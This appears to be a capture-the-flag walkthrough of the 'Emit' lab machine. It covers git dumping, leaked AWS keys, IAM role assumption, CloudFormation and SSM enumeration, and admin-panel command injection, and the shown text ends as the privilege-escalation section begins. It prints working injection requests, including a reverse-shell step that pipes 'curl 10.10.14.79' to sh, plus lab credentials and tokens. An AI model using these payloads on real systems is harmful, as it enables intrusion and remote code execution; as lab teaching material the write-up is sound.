← Back to blog

Emit

Overview

Emit is a cloud-focused box built around a LocalStack-backed AWS environment. The chain is entirely AWS-driven:

  • Dump the exposed .git repository and recover hardcoded access/secret keys from old commits.
  • One of the commits documents an IAM role that can be assumed; assume it to gain a more privileged session.
  • Use CloudFormation describe-stacks (which leaks the admin panel password) and SSM list-commands (which leaks the admin panel URL).
  • Log into the Maximus admin panel and abuse its command handling for RCE.
  • Generate a malicious Lambda zip and exploit a LocalStack command-injection bug to execute code as root, where the root flag lives.

Nmap

An all-ports service scan reveals SSH and an Apache web server. Notably, Nmap’s http-git script flags an exposed .git repository on port 80, which immediately becomes the most promising lead.

Nmap scan report for emit.htb (10.129.229.92)
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-git:
|   10.129.229.92:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating agents
|_http-title: Satellite Management System
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Enumeration

Browsing to the site shows a “Satellite Management System”. Directory fuzzing with Feroxbuster confirms the exposed .git directory and its readable internals (HEAD, index, config, logs), which means the repository can be reconstructed offline.

http://emit.htb

Directory Fuzzing w/ Feroxbuster:
200      GET        7l       23w    20434c http://emit.htb/images/ico.ico
301      GET        9l       28w      305c http://emit.htb/images => http://emit.htb/images/
301      GET        9l       28w      309c http://emit.htb/javascript => http://emit.htb/javascript/
301      GET        9l       28w      303c http://emit.htb/.git => http://emit.htb/.git/
200      GET        1l        2w       23c http://emit.htb/.git/HEAD
200      GET        4l        6w      212c http://emit.htb/.git/index
200      GET        5l       13w       92c http://emit.htb/.git/config
301      GET        9l       28w      308c http://emit.htb/.git/logs => http://emit.htb/.git/logs/
200      GET      494l     1137w    11173c http://emit.htb/index.html
200      GET      494l     1137w    11173c http://emit.htb/
301      GET        9l       28w      308c http://emit.htb/.git/info => http://emit.htb/.git/info/
[>-------------------] - 7s      9451/5477104 69m     found:11      errors:0
[>-------------------] - 7s      3516/780140  493/s   http://emit.htb/
[>-------------------] - 5s       553/782824  123/s   http://emit.htb/images/
[>-------------------] - 4s       981/782824  223/s   http://emit.htb/javascript/
[>-------------------] - 3s       648/782824  186/s   http://emit.htb/.git/
[>-------------------] - 3s       326/782824  94/s    http://emit.htb/.git/logs/

feroxbuster -u http://emit.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
200      GET        1l        2w       23c http://emit.htb/.git/HEAD
200      GET        4l        6w      212c http://emit.htb/.git/index
200      GET        5l       13w       92c http://emit.htb/.git/config
301      GET        9l       28w      303c http://emit.htb/.git => http://emit.htb/.git/
200      GET        7l       23w    20434c http://emit.htb/images/ico.ico
200      GET      494l     1137w    11173c http://emit.htb/

image

Git Dumping

With the .git directory exposed, git_dumper.py reconstructs the full local repository by fetching the objects, refs, and logs.

$ git_dumper.py http://emit.htb/.git git-dump
[-] Testing http://emit.htb/.git/HEAD [200]
[-] Testing http://emit.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://emit.htb/.gitignore [404]
[-] http://emit.htb/.gitignore responded with status code 404
[-] Fetching http://emit.htb/.git/hooks/post-receive.sample [404]
[-] http://emit.htb/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://emit.htb/.git/description [200]
[-] Fetching http://emit.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://emit.htb/.git/hooks/post-commit.sample [404]
[-] http://emit.htb/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://emit.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://emit.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://emit.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://emit.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://emit.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://emit.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://emit.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://emit.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://emit.htb/.git/index [200]
[-] Fetching http://emit.htb/.git/info/exclude [200]
[-] Fetching http://emit.htb/.git/objects/info/packs [404]
[-] http://emit.htb/.git/objects/info/packs responded with status code 404
[-] Fetching http://emit.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://emit.htb/.git/hooks/update.sample [200]
[-] Finding refs/
[-] Fetching http://emit.htb/.git/HEAD [200]
[-] Fetching http://emit.htb/.git/FETCH_HEAD [404]
[-] http://emit.htb/.git/FETCH_HEAD responded with status code 404
[-] Fetching http://emit.htb/.git/info/refs [404]
[-] http://emit.htb/.git/info/refs responded with status code 404
[-] Fetching http://emit.htb/.git/logs/HEAD [200]
[-] Fetching http://emit.htb/.git/logs/refs/remotes/origin/HEAD [404]
[-] http://emit.htb/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://emit.htb/.git/config [200]
[-] Fetching http://emit.htb/.git/ORIG_HEAD [404]
[-] http://emit.htb/.git/ORIG_HEAD responded with status code 404
[-] Fetching http://emit.htb/.git/packed-refs [404]
[-] http://emit.htb/.git/packed-refs responded with status code 404
[-] Fetching http://emit.htb/.git/logs/refs/remotes/origin/master [404]
[-] Fetching http://emit.htb/.git/refs/heads/master [200]
[-] Fetching http://emit.htb/.git/logs/refs/heads/master [200]
[-] http://emit.htb/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching http://emit.htb/.git/logs/refs/stash [404]
[-] http://emit.htb/.git/logs/refs/stash responded with status code 404
[-] Fetching http://emit.htb/.git/refs/remotes/origin/HEAD [404]
[-] http://emit.htb/.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://emit.htb/.git/refs/stash [404]
[-] http://emit.htb/.git/refs/stash responded with status code 404
[-] Fetching http://emit.htb/.git/refs/remotes/origin/master [404]
[-] http://emit.htb/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching http://emit.htb/.git/refs/wip/wtree/refs/heads/master [404]
[-] http://emit.htb/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching http://emit.htb/.git/refs/wip/index/refs/heads/master [404]
[-] http://emit.htb/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://emit.htb/.git/objects/9c/b739e6e09e04bba0aa08b486f58923fb5db514 [200]
[-] Fetching http://emit.htb/.git/objects/a9/257fef04b544d4b78b5000d348eb3840dec021 [200]
[-] Fetching http://emit.htb/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] http://emit.htb/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://emit.htb/.git/objects/77/9fd8c0addcc233c71ae55b5d31108c2fac1f5a [200]
[-] Fetching http://emit.htb/.git/objects/8d/e0f0454018ef58c55796c83acd19bd873f44d0 [200]
[-] Fetching http://emit.htb/.git/objects/fd/2ffd54e0360d7c87e63310f2a958a7d78a0ab8 [200]
[-] Fetching http://emit.htb/.git/objects/2a/e71d32b890edc67a820c3d9ffff418cb372561 [200]
[-] Fetching http://emit.htb/.git/objects/80/4adaddd95add15db577b95af144dff229fdac8 [200]
[-] Fetching http://emit.htb/.git/objects/0c/9630e5fb5a8eca82b0cf8c7ef7d64899185f0a [200]
[-] Fetching http://emit.htb/.git/objects/4d/c2f4f92e665d6628b28cefa00631271a570506 [200]
[-] Fetching http://emit.htb/.git/objects/7e/13637ad2aac45133458a163326429b99790825 [200]
[-] Fetching http://emit.htb/.git/objects/51/cd630faf190947eb3e8e0cbce4a8d9911e152c [200]
[-] Fetching http://emit.htb/.git/objects/1a/f1f52484455323b7ceecf3f145a475482b841e [200]
[-] Fetching http://emit.htb/.git/objects/09/c25f1b3e7024f882461711e8483da18613331f [200]
[-] Fetching http://emit.htb/.git/objects/6d/99d3007b47069dc29b0e92233056e148c55c02 [200]
[-] Fetching http://emit.htb/.git/objects/2c/2ed39df3a0c77f762af86f9a6a40ae567e2f20 [200]
[-] Running git checkout .

Reviewing the commit history shows a series of “agent” deployments authored by maximus_supervisor, which gives us a likely username and hints that interesting changes were made across commits.

git log
commit a9257fef04b544d4b78b5000d348eb3840dec021 (HEAD -> master)
Author: maximus_supervisor <[email protected]>
Date:   Tue Jul 4 05:25:02 2023 +0000

    Updating agents

commit fd2ffd54e0360d7c87e63310f2a958a7d78a0ab8
Author: maximus_supervisor <[email protected]>
Date:   Tue Jul 4 05:23:30 2023 +0000

    Redeploying agents

commit 9cb739e6e09e04bba0aa08b486f58923fb5db514
Author: maximus_supervisor <[email protected]>
Date:   Tue Jul 4 05:22:49 2023 +0000

    Redeploying stack

commit 2ae71d32b890edc67a820c3d9ffff418cb372561
Author: maximus_supervisor <[email protected]>
Date:   Tue Jul 4 05:21:45 2023 +0000

    Initialization of agents

commit 8de0f0454018ef58c55796c83acd19bd873f44d0
Author: maximus_supervisor <[email protected]>
Date:   Tue Jul 4 05:19:49 2023 +0000

    Payload stack deployment

Dumping the full diff history reveals that an earlier commit hardcoded AWS credentials (later refactored to read from environment variables) along with the LocalStack endpoint URL.

git log -p > ../git-diffs
+endpoint_url = 'http://cloud.emit.htb' #Localstack v0.12.6
-access_key_id = "AKIA6CFMOGSLALOPETMB"
-secret_access_key = "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"
-region = "us-east-2"

git-diffs

The complete git log -p output is below. Beyond the leaked keys, the agent-stack.yaml CloudFormation template and the deleted IAMRole named maximus-agent are important: they describe an IAM role with broad CloudFormation and S3 permissions that can later be assumed.

commit a9257fef04b544d4b78b5000d348eb3840dec021
Author: maximus_supervisor <[email protected]>
Date:   Tue Jul 4 05:25:02 2023 +0000

    Updating agents

diff --git a/agent-stack.yaml b/agent-stack.yaml
deleted file mode 100644
index 09c25f1..0000000
--- a/agent-stack.yaml
+++ /dev/null
@@ -1,37 +0,0 @@
-AWSTemplateFormatVersion: "2010-09-09"
-Resources:
-  LambdaRole:
-    Type: 'AWS::IAM::Role'
-    Properties:
-      AssumeRolePolicyDocument:
-        Version: "2012-10-17"
-        Statement:
-          - Effect: Allow
-            Principal:
-              Service:
-                - ec2.amazonaws.com
-            Action:
-              - 'sts:AssumeRole'
-      Path: /
-      Policies:
-        - PolicyName: root
-          PolicyDocument:
-            Version: "2012-10-17"
-            Statement:
-              - Effect: Allow
-                Action: 's3:*'
-                Resource: '*'
-
-  MyLambdaFunction:
-    Type: AWS::Lambda::Function
-    Properties:
-      Role: !GetAtt LambdaRole.Arn
-      Runtime: python3.9
-      Handler: index.lambda_handler
-      code:
-        ZipFile: |
-          def lambda_handler(event, context):
-            return "Runtime!" #Todo
-      Tags:
-        - Key: Lambda
-          Value: Payload-Deployment
diff --git a/ssm_agent.py b/ssm_agent.py
index 2c2ed39..779fd8c 100644
--- a/ssm_agent.py
+++ b/ssm_agent.py
@@ -5,6 +5,7 @@ import os
 access_key_id = os.environ.get('AWS_ACCESS_KEY_ID')
 secret_access_key = os.environ.get('AWS_SECRET_ACCESS_KEY')
 region = os.environ.get('AWS_DEFAULT_REGION')
+endpoint_url = '[http://cloud.emit.htb'](http://cloud.emit.htb') #Localstack v0.12.6

 # Create an AWS session using the retrieved credentials and region
 session = boto3.Session(

commit fd2ffd54e0360d7c87e63310f2a958a7d78a0ab8
Author: maximus_supervisor <[email protected]>
Date:   Tue Jul 4 05:23:30 2023 +0000

    Redeploying agents

diff --git a/ssm_agent.py b/ssm_agent.py
index 6d99d30..2c2ed39 100644
--- a/ssm_agent.py
+++ b/ssm_agent.py
@@ -1,9 +1,10 @@
 import boto3
 import os

-access_key_id = "AKIA6CFMOGSLALOPETMB"
-secret_access_key = "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"
-region = "us-east-2"
+# Retrieve AWS credentials from environment variables
+access_key_id = os.environ.get('AWS_ACCESS_KEY_ID')
+secret_access_key = os.environ.get('AWS_SECRET_ACCESS_KEY')
+region = os.environ.get('AWS_DEFAULT_REGION')

 # Create an AWS session using the retrieved credentials and region
 session = boto3.Session(

commit 9cb739e6e09e04bba0aa08b486f58923fb5db514
Author: maximus_supervisor <[email protected]>
Date:   Tue Jul 4 05:22:49 2023 +0000

    Redeploying stack

diff --git a/agent-stack.yaml b/agent-stack.yaml
index 1af1f52..09c25f1 100644
--- a/agent-stack.yaml
+++ b/agent-stack.yaml
@@ -35,27 +35,3 @@ Resources:
       Tags:
         - Key: Lambda
           Value: Payload-Deployment
-  IAMRole:
-    Type: AWS::IAM::Role
-    Properties:
-      AssumeRolePolicyDocument:
-        Version: "2012-10-17"
-        Statement:
-          - Effect: Allow
-            Principal:
-              Service:
-                - lambda.amazonaws.com
-            Action:
-              - 'sts:AssumeRole'
-      Description: Role to provide access to S3
-      Policies:
-        - PolicyName: EmbeddedInlinePolicy
-          PolicyDocument:
-            Version: "2012-10-17"
-            Statement:
-              - Effect: Allow
-                Action: 'cloudformation:*'
-                Resource: '*'
-      ManagedPolicyArns:
-        - arn:aws:iam::aws:policy/AmazonS3FullAccess
-      RoleName: maximus-agent

commit 2ae71d32b890edc67a820c3d9ffff418cb372561
Author: maximus_supervisor <[email protected]>
Date:   Tue Jul 4 05:21:45 2023 +0000

    Initialization of agents

diff --git a/ssm_agent.py b/ssm_agent.py
new file mode 100644
index 0000000..6d99d30
--- /dev/null
+++ b/ssm_agent.py
@@ -0,0 +1,85 @@
+import boto3
+import os
+
+access_key_id = "AKIA6CFMOGSLALOPETMB"
+secret_access_key = "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"
+region = "us-east-2"
+
+# Create an AWS session using the retrieved credentials and region
+session = boto3.Session(
+    aws_access_key_id=access_key_id,
+    aws_secret_access_key=secret_access_key,
+    region_name=region
+)
+
+def create_document(name, content):
+    ssm_client = session.client('ssm')
+
+    response = ssm_client.create_document(
+        Content=content,
+        Name=name,
+    )
+
+    document_version = response['DocumentDescription']['DocumentVersion']
+    document_name = response['DocumentDescription']['Name']
+    print(f"Document '{document_name}' created with version: {document_version}")
+
+def add_tags_to_resource(resource_arn, tags):
+    ssm_client = session.client('ssm')
+
+    response = ssm_client.add_tags_to_resource(
+        ResourceType='Document',
+        ResourceId=resource_arn,
+        Tags=tags,
+    )
+
+    print(f"Tags added to resource: {resource_arn}")
+
+def send_command_to_instances(instance_ids, command):
+    ssm_client = session.client('ssm')
+
+    response = ssm_client.send_command(
+        DocumentName='AWS-RunShellScript',
+        InstanceIds=instance_ids,
+        Parameters={'commands': [command]},
+    )
+
+    command_id = response['Command']['CommandId']
+    print(f"Command '{command}' sent to instances: {', '.join(instance_ids)}")
+    print(f"Command ID: {command_id}")
+
+# Example usage
+if __name__ == '__main__':
+    # Create an SSM document
+    document_name = 'MySSMDocument'
+    document_content = '''
+        {
+            "schemaVersion": "2.2",
+            "description": "My SSM document",
+            "mainSteps": [
+                {
+                    "name": "RunCommand",
+                    "action": "aws:runShellScript",
+                    "inputs": {
+                        "runCommand": [
+                            "echo 'Running custom script'"
+                        ]
+                    }
+                }
+            ]
+        }
+    '''
+    create_document(document_name, document_content)
+
+    # Add tags to an AWS resource (SSM document)
+    resource_arn = f"arn:aws:ssm:{region}:123456789012:document/{document_name}"
+    tags = [
+        {'Key': 'Environment', 'Value': 'Production'},
+        {'Key': 'Project', 'Value': 'Payload Control System'},
+    ]
+    add_tags_to_resource(resource_arn, tags)
+
+    # Send a command to EC2 instances
+    instance_ids = ['i-0b6abfb4681d96994', 'i-0a2aff07a25c66208']
+    command = ''
+    send_command_to_instances(instance_ids, command)

commit 8de0f0454018ef58c55796c83acd19bd873f44d0
Author: maximus_supervisor <[email protected]>
Date:   Tue Jul 4 05:19:49 2023 +0000

    Payload stack deployment

diff --git a/agent-stack.yaml b/agent-stack.yaml
new file mode 100644
index 0000000..1af1f52
--- /dev/null
+++ b/agent-stack.yaml
@@ -0,0 +1,61 @@
+AWSTemplateFormatVersion: "2010-09-09"
+Resources:
+  LambdaRole:
+    Type: 'AWS::IAM::Role'
+    Properties:
+      AssumeRolePolicyDocument:
+        Version: "2012-10-17"
+        Statement:
+          - Effect: Allow
+            Principal:
+              Service:
+                - ec2.amazonaws.com
+            Action:
+              - 'sts:AssumeRole'
+      Path: /
+      Policies:
+        - PolicyName: root
+          PolicyDocument:
+            Version: "2012-10-17"
+            Statement:
+              - Effect: Allow
+                Action: 's3:*'
+                Resource: '*'
+
+  MyLambdaFunction:
+    Type: AWS::Lambda::Function
+    Properties:
+      Role: !GetAtt LambdaRole.Arn
+      Runtime: python3.9
+      Handler: index.lambda_handler
+      code:
+        ZipFile: |
+          def lambda_handler(event, context):
+            return "Runtime!" #Todo
+      Tags:
+        - Key: Lambda
+          Value: Payload-Deployment
+  IAMRole:
+    Type: AWS::IAM::Role
+    Properties:
+      AssumeRolePolicyDocument:
+        Version: "2012-10-17"
+        Statement:
+          - Effect: Allow
+            Principal:
+              Service:
+                - lambda.amazonaws.com
+            Action:
+              - 'sts:AssumeRole'
+      Description: Role to provide access to S3
+      Policies:
+        - PolicyName: EmbeddedInlinePolicy
+          PolicyDocument:
+            Version: "2012-10-17"
+            Statement:
+              - Effect: Allow
+                Action: 'cloudformation:*'
+                Resource: '*'
+      ManagedPolicyArns:
+        - arn:aws:iam::aws:policy/AmazonS3FullAccess
+      RoleName: maximus-agent

AWS Assume Role

The leaked endpoint points the AWS CLI at the LocalStack instance, and the recovered keys are configured as the default profile.

export AWS_ENDPOINT_URL=http://cloud.emit.htb
aws configure
AWS Access Key ID [****************QTMA]: AKIA6CFMOGSLALOPETMB
AWS Secret Access Key [****************7CB5]: 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
Default region name [us-east-1]: us-east-2
Default output format [None]: yaml

Confirming the identity shows we are the integration_engineer user.

aws sts get-caller-identity
Account: '925169031785'
Arn: arn:aws:iam::925169031785:user/integration_engineer
UserId: AKIAIOSFODNN7DXV3G29

Recall the deleted CloudFormation template defined a maximus-agent role. We assume it via STS to obtain a more privileged session.

aws sts assume-role --role-arn "arn:aws:iam::925169031785:user/maximus-agent" --role-session-name 'i-assumed-an-user'

The response returns the assumed-role user and a fresh set of temporary credentials.

AssumedRoleUser

Arn: arn:aws:sts::000000000000:assumed-role/maximus-agent/i-assumed-an-user
  AssumedRoleId: AROA3X42LBCDX46XPI2U5:i-assumed-an-user

Credentials

AccessKeyId: AKIA9DVLPWFJEPQSAGKM
  Expiration: '2023-07-17T15:18:37.369000+00:00'
  SecretAccessKey: viZy5C8XwF+RrLe0vCxLfj9efIDJl0kEOOONNku1
  SessionToken: FQoGZXIvYXdzEBYaDg0lBY2ZIjfy+a3j+TmApXXCncc37mIKsfQ0E5ysJCIN/FgGAIDFiGx0qQRUS8qPkOSGPDVbv0PEbx0ebM6pHefylh9ZA0pdsv8Br27jx8CVBj5Y4d6wYpAyXpDlEVRzPgAi5RvgEinitTOFQ9LuTNeIHhvjUEXoFSZheDcsg0OaQupK2DjmkmVWMAARfAKD8rHtiyp+ZogkwV+lr+OdtJwHO3MsSIA82owXhNTTMsxSaw1OnHXispHZt7kZhptxg0sZR4Qf/LB+eQvZ7yyBRgb/D9qqQQfB3/8elE62eqG8HxeYddV4pQ5jaU1W6C2RJvg8GYdu1VL1SqHS/GM=
PackedPolicySize: 6

Reconfigure the CLI with the assumed-role credentials and confirm the new identity is maximus-agent.

aws configure
AWS Access Key ID [****************ETMB]: AKIA9DVLPWFJEPQSAGKM
AWS Secret Access Key [****************9wVc]: viZy5C8XwF+RrLe0vCxLfj9efIDJl0kEOOONNku1
Default region name [us-east-1]:
Default output format [yaml]:

aws sts get-caller-identity
Account: '236190431348'
Arn: arn:aws:iam::236190431348:user/maximus-agent
UserId: AKIAIPWQSFCB9GEL2P50

AWS CloudFormation

The maximus-agent role grants cloudformation:*. We enumerate stacks to look for sensitive parameters.

Reference: https://docs.aws.amazon.com/cli/latest/reference/cloudformation/describe-stacks.html

aws cloudformation describe-stacks

Stacks

Seven mission-deployment-stage* stacks come back, and stage 4 stands out: it carries a Password parameter in plaintext.

- Capabilities: []
  CreationTime: '2023-07-17T13:52:53.250000+00:00'
  Outputs: []
  Parameters: []
  StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage1/9a88e2f4
  StackName: mission-deployment-stage1
  StackStatus: CREATE_COMPLETE
  Tags: []
- Capabilities: []
  CreationTime: '2023-07-17T13:52:53.799000+00:00'
  Outputs: []
  Parameters: []
  StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage2/70ae92cb
  StackName: mission-deployment-stage2
  StackStatus: CREATE_COMPLETE
  Tags: []
- Capabilities: []
  CreationTime: '2023-07-17T13:52:54.205000+00:00'
  Outputs: []
  Parameters: []
  StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage3/4774210e
  StackName: mission-deployment-stage3
  StackStatus: CREATE_COMPLETE
  Tags: []
- Capabilities: []
  CreationTime: '2023-07-17T13:52:54.607000+00:00'
  Outputs: []
  Parameters:
  - ParameterKey: Password
    ParameterValue: dHgtu10kLmDrESd
  StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage4/a6c4d741
  StackName: mission-deployment-stage4
  StackStatus: CREATE_COMPLETE
  Tags: []
- Capabilities: []
  CreationTime: '2023-07-17T13:52:55.016000+00:00'
  Outputs: []
  Parameters: []
  StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage5/d2e0b537
  StackName: mission-deployment-stage5
  StackStatus: CREATE_COMPLETE
  Tags: []
- Capabilities: []
  CreationTime: '2023-07-17T13:52:55.415000+00:00'
  Outputs: []
  Parameters: []
  StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage6/b132f44b
  StackName: mission-deployment-stage6
  StackStatus: CREATE_COMPLETE
  Tags: []
- Capabilities: []
  CreationTime: '2023-07-17T13:52:55.819000+00:00'
  Outputs: []
  Parameters: []
  StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage7/39b84848
  StackName: mission-deployment-stage7
  StackStatus: CREATE_COMPLETE
  Tags: []

Querying stage 4 directly isolates the password parameter.

aws cloudformation describe-stacks --stack-name "mission-deployment-stage4"
- Capabilities: []
  CreationTime: '2023-07-17T13:52:54.607000+00:00'
  Outputs: []
  Parameters:
  - ParameterKey: Password
    ParameterValue: dHgtu10kLmDrESd
  StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage4/a6c4d741
  StackName: mission-deployment-stage4
  StackStatus: CREATE_COMPLETE
  Tags: []

AWS SSM List Commands

To find where to use the password, we enumerate the Systems Manager command history. The previously run commands reveal infrastructure setup steps and, crucially, the path to the admin panel.

Reference: https://docs.aws.amazon.com/cli/latest/reference/ssm/list-commands.html

aws ssm list-commands

Commands

The command history covers updating agents, installing Terraform, configuring LocalStack via docker-compose, and moving a backup out of /var/www/html/maximus-admin-panel/ — which leaks the admin panel directory.

- CommandId: 287f2a8d-ad43-47a1-841a-5dfe775c534d
  Comment: Update agent systems
  CompletedCount: 0
  DocumentName: AWS-RunShellScript
  ErrorCount: 0
  ExpiresAfter: '2023-07-17T14:52:56.247641'
  InstanceIds: []
  MaxConcurrency: '50'
  MaxErrors: '0'
NotificationArn: string
- Success
    NotificationType: Command
  OutputS3BucketName: ''
  OutputS3KeyPrefix: ''
  OutputS3Region: ''
  Parameters:
    commands:
    - apt update -y
  RequestedDateTime: '2023-07-17T13:52:56.247641'
  ServiceRole: ''
  Status: Success
  StatusDetails: Details placeholder
  TargetCount: 0
  Targets:
  - Key: instanceids
    Values:
    - i-1234567890abcdef0
- CommandId: 2300d3f6-25f4-4617-a038-aad204e2fce0
  Comment: Configure automation
  CompletedCount: 0
  DocumentName: AWS-RunShellScript
  ErrorCount: 0
  ExpiresAfter: '2023-07-17T14:52:56.589957'
  InstanceIds: []
  MaxConcurrency: '50'
  MaxErrors: '0'
NotificationArn: string
- Success
    NotificationType: Command
  OutputS3BucketName: ''
  OutputS3KeyPrefix: ''
  OutputS3Region: ''
  Parameters:
    commands:
    - apt install -y terraform
  RequestedDateTime: '2023-07-17T13:52:56.589957'
  ServiceRole: ''
  Status: Success
  StatusDetails: Details placeholder
  TargetCount: 0
  Targets:
  - Key: instanceids
    Values:
    - i-1234567890abcdef0
- CommandId: 4b86edba-d70e-4a4b-a71c-40deaf1ff2af
  Comment: Configure localstack
  CompletedCount: 0
  DocumentName: AWS-RunShellScript
  ErrorCount: 0
  ExpiresAfter: '2023-07-17T14:52:57.148156'
  InstanceIds: []
  MaxConcurrency: '50'
  MaxErrors: '0'
NotificationArn: string
- Success
    NotificationType: Command
  OutputS3BucketName: ''
  OutputS3KeyPrefix: ''
  OutputS3Region: ''
  Parameters:
    commands:
    - pip3 install --upgrade awslocal
  RequestedDateTime: '2023-07-17T13:52:57.148156'
  ServiceRole: ''
  Status: Success
  StatusDetails: Details placeholder
  TargetCount: 0
  Targets:
  - Key: instanceids
    Values:
    - i-1234567890abcdef0
- CommandId: 09a4d897-bd40-483f-8e16-5e2789f0116a
  Comment: Configure localstack
  CompletedCount: 0
  DocumentName: AWS-RunShellScript
  ErrorCount: 0
  ExpiresAfter: '2023-07-17T14:52:57.678440'
  InstanceIds: []
  MaxConcurrency: '50'
  MaxErrors: '0'
NotificationArn: string
- Success
    NotificationType: Command
  OutputS3BucketName: ''
  OutputS3KeyPrefix: ''
  OutputS3Region: ''
  Parameters:
    commands:
    - docker-compose up -d
  RequestedDateTime: '2023-07-17T13:52:57.678440'
  ServiceRole: ''
  Status: Success
  StatusDetails: Details placeholder
  TargetCount: 0
  Targets:
  - Key: instanceids
    Values:
    - i-1234567890abcdef0
- CommandId: ed13f323-2f16-45f9-a3b8-5c6480713cf6
  Comment: Move backups from prod
  CompletedCount: 0
  DocumentName: AWS-RunShellScript
  ErrorCount: 0
  ExpiresAfter: '2023-07-17T14:52:58.127009'
  InstanceIds: []
  MaxConcurrency: '50'
  MaxErrors: '0'
NotificationArn: string
- Success
    NotificationType: Command
  OutputS3BucketName: ''
  OutputS3KeyPrefix: ''
  OutputS3Region: ''
  Parameters:
    commands:
    - mv /var/www/html/maximus-admin-panel/backup.tar.gz .
  RequestedDateTime: '2023-07-17T13:52:58.127009'
  ServiceRole: ''
  Status: Success
  StatusDetails: Details placeholder
  TargetCount: 0
  Targets:
  - Key: instanceids
    Values:
    - i-1234567890abcdef0

Admin Panel RCE

The SSM history exposed the admin panel directory via the backup-move command.

mv /var/www/html/maximus-admin-panel/backup.tar.gz .

Browsing to that path gives the Maximus admin panel login.

http://emit.htb/maximus-admin-panel/

We re-check the stage 4 password, then log in to the panel using the username recovered from the git logs (maximus_supervisor) and this password.

aws cloudformation describe-stacks --stack-name "mission-deployment-stage4"
- Capabilities: []
  CreationTime: '2023-07-17T13:52:54.607000+00:00'
  Outputs: []
  Parameters:
  - ParameterKey: Password
    ParameterValue: dHgtu10kLmDrESd
  StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage4/a6c4d741
  StackName: mission-deployment-stage4
  StackStatus: CREATE_COMPLETE
  Tags: []

After authenticating, the dashboard is reachable.

Login w/ username from git logs: maximus_supervisor and password from describe-stacks mission-deployment-stage4

http://emit.htb/maximus-admin-panel/dashboard.php

Dashboard Functionality

The dashboard exposes satellite status, a payload count, and an “Adjust Payloads” command field. Submitting the list-functions command returns an empty function list, confirming the field shells out to an AWS Lambda CLI call.

Satellite Status
Online
Satellite Count
3872

Command:
list-functions
{ "Functions": [] }

Command Injection

Because the command field is concatenated into a shell invocation, appending a shell metacharacter to an allowed keyword (list-functions) injects arbitrary commands. Adding ;id confirms code execution as the maximus_supervisor user.

POST /maximus-admin-panel/dashboard.php HTTP/1.1
Host: emit.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://emit.htb/maximus-admin-panel/dashboard.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://emit.htb
Connection: close
Cookie: PHPSESSID=4ikv1aamiteg3aurv32939dgms
Upgrade-Insecure-Requests: 1

cmd=list-functions;id

Output:
uid=1000(maximus_supervisor) gid=1000(maximus_supervisor) groups=1000(maximus_supervisor)

Reverse Shell

We escalate the injection to a full reverse shell by piping a hosted script to sh.

POST /maximus-admin-panel/dashboard.php HTTP/1.1
Host: emit.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://emit.htb/maximus-admin-panel/dashboard.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://emit.htb
Connection: close
Cookie: PHPSESSID=4ikv1aamiteg3aurv32939dgms
Upgrade-Insecure-Requests: 1

cmd=list-functions;curl 10.10.14.79|sh

image

image

Privilege Escalation: AWS Lambda LocalStack CVE RCE

With a shell as maximus_supervisor, reading the panel source explains the filtering logic. The handler only allows create-function, update-function-code, and list-functions, wraps the input through escapeshellarg, then manipulates the result. It also resolves fileb:// paths into the uploads/ directory, which is how a Lambda zip will be referenced.
